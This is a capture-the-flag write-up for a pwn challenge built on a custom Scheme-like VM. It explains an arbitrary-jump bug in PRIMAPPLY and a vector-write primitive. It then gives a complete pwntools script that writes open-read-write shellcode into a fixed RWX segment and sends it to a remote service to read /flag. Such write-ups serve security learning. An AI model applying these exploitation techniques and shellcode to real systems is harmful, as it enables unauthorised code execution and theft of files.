Challenge Description#

We got rid of win, sorry! You’re writing assembly again this time.

Analysis#

This service was a custom Scheme-like VM split across a Rust compiler, a Python assembler, and a stripped static interpreter. The front-end source mattered immediately: compiler/src/main.rs exposes primitives like vector, vector-ref, and vector-set!, while assembler/main.py maps those mnemonics to hardcoded handler addresses and gives PRIMAPPLY a special case that accepts any hexadecimal immediate. Instead of resolving a named primitive, the assembler serializes PRIMAPPLY with int(m, 16).to_bytes(8, "little"), which means assembly can smuggle an arbitrary 64-bit jump target straight into the bytecode.

The first useful confirmation came from the interpreter’s protection profile.

1
checksec interpreter

1
[*] '/home/LIGHT/Downloads/CTFChan_Pwn_texsaw_SIGBOVIKIIITheScroppening/interpreter'
2
    Arch:       amd64-64-little
3
    RELRO:      No RELRO
4
    Stack:      No canary found
5
    NX:         NX enabled
6
    PIE:        No PIE (0x50b000)
7
    RWX:        Has RWX segments

No PIE and a fixed RWX segment strongly suggested that the intended route was shellcode, but the obvious first attempt still ran into ASLR. The VM initializes itself by pointing rsp at the bytecode buffer, so jumping into shellcode embedded in the program would have worked only if that mmap address were known ahead of time.

1
0x800879e: mov rsp, rdi   ; rsp = bytecode buffer
2
0x80087a4: mov rbx, rsi   ; rbx = vm stack

The real control-flow bug sat in PRIMAPPLY. The solve log recorded the handler ending with an absolute jump through the instruction immediate.

1
0000000009a99000 <.text.primapply>:
2
  9a99000: mov r8, QWORD PTR [rsp-0x8]
3
  ...
4
  9a99068: jmp r8

That turns PRIMAPPLY <hex> into an arbitrary jump primitive. The missing piece was a stable executable address, and that came from pairing two other VM operations that were much more useful together than they looked in isolation.

1
0x9e7000: mov rax, QWORD PTR [rsp-0x8]
2
0x9e7005: mov rax, QWORD PTR [rbx+rax*8]

1
0x5ec5060: mov QWORD PTR [rax+rcx*8+0x8], rsi

GET reads a raw qword from a chosen VM stack slot, which let the exploit pull immediate values staged later in the bytecode. VECTORSET writes a qword through a tagged vector pointer. The winning trick was to stop chasing the randomized mmap buffer and instead forge a vector that points at the interpreter’s fixed RWX segment. The key values from the solve log were 0x8008000 as the RWX base, 0x8008000 | 0x2 as the forged vector tag, and 0x8008800 as the shellcode destination. With those in hand, the exploit used GET to recover raw qwords from future PRIMAPPLY immediates, fed them to VECTORSET, and wrote shellcode directly into executable memory at a deterministic address. Because PRIMAPPLY expects its normal stack shape, the payload also inserted LOAD NULL before the final jump.

Before switching to the flag-reading payload, the exploit was validated with a tiny shellcode stub that printed DBG and exited.

1
Remote output: b'DBG'

Once the write primitive and jump target were confirmed, the final shellcode used the standard open-read-write pattern against /flag, with both the path and buffer addressed relative to rip so the payload stayed position-independent after being copied into the RWX segment. The solve log recorded the final result directly.

1
Remote output: b'texsaw{scropmaster!_12934810298401928340912830982}\n' + padding zeros

Solution#

1
from pwn import *
2
context.arch='amd64'
3
context.log_level='info'
4

5
BASE=0x8008000
6
SHELL_ADDR=0x8008800
7
VEC_TAG=BASE|0x2
8

9
# ORW shellcode for /flag
10
asm_code = r'''
11
    mov eax, 2
12
    lea rdi, [rip+path]
13
    xor esi, esi
14
    xor edx, edx
15
    syscall
16
    mov edi, eax
17
    lea rsi, [rip+buf]
18
    mov edx, 0x100
19
    xor eax, eax
20
    syscall
21
    mov edi, 1
22
    mov eax, 1
23
    syscall
24
    mov eax, 60
25
    xor edi, edi
26
    syscall
27
path:
28
    .ascii "/flag"
29
    .byte 0
30
buf:
31
    .zero 0x100
32
'''
33

34
shellcode = asm(asm_code)
35

36
chunks=[shellcode[i:i+8] for i in range(0,len(shellcode),8)]
37
chunks_q=[u64(c.ljust(8,b'\x00')) for c in chunks]
38

39
index_start=(SHELL_ADDR-BASE-8)//8
40
raw_values=[VEC_TAG]+chunks_q
41
num_writes=len(chunks_q)
42
raw_start=num_writes*5+4
43
raw_indices=[2*(raw_start+i)+1 for i in range(len(raw_values))]
44

45
asm_lines=[]
46
k=0
47
for i in range(num_writes):
48
    asm_lines.append(f"GET {raw_indices[0]+k}")
49
    k+=1
50
    asm_lines.append(f"LOAD {index_start+i}")
51
    k+=1
52
    asm_lines.append(f"GET {raw_indices[1+i]+k}")
53
    k+=1
54
    asm_lines.append("VECTORSET")
55
    k=1
56
    asm_lines.append("FORGET")
57
    k=0
58

59
asm_lines.append("LOAD NULL")
60
asm_lines.append("LOAD 0")
61
asm_lines.append("LOAD 0")
62
asm_lines.append(f"PRIMAPPLY {SHELL_ADDR:x}")
63

64
for val in raw_values:
65
    asm_lines.append(f"PRIMAPPLY {val:x}")
66

67
asm_lines.append("DONE")
68

69
asm_payload='\n'.join(asm_lines)+'\n'
70

71
p=remote('143.198.163.4',1902,timeout=5)
72
p.send(asm_payload.encode())
73

74
out=p.recvall(timeout=5)
75
print(out)

1
python remote_orw_flag.py

1
b'texsaw{scropmaster!_12934810298401928340912830982}\n' + padding zeros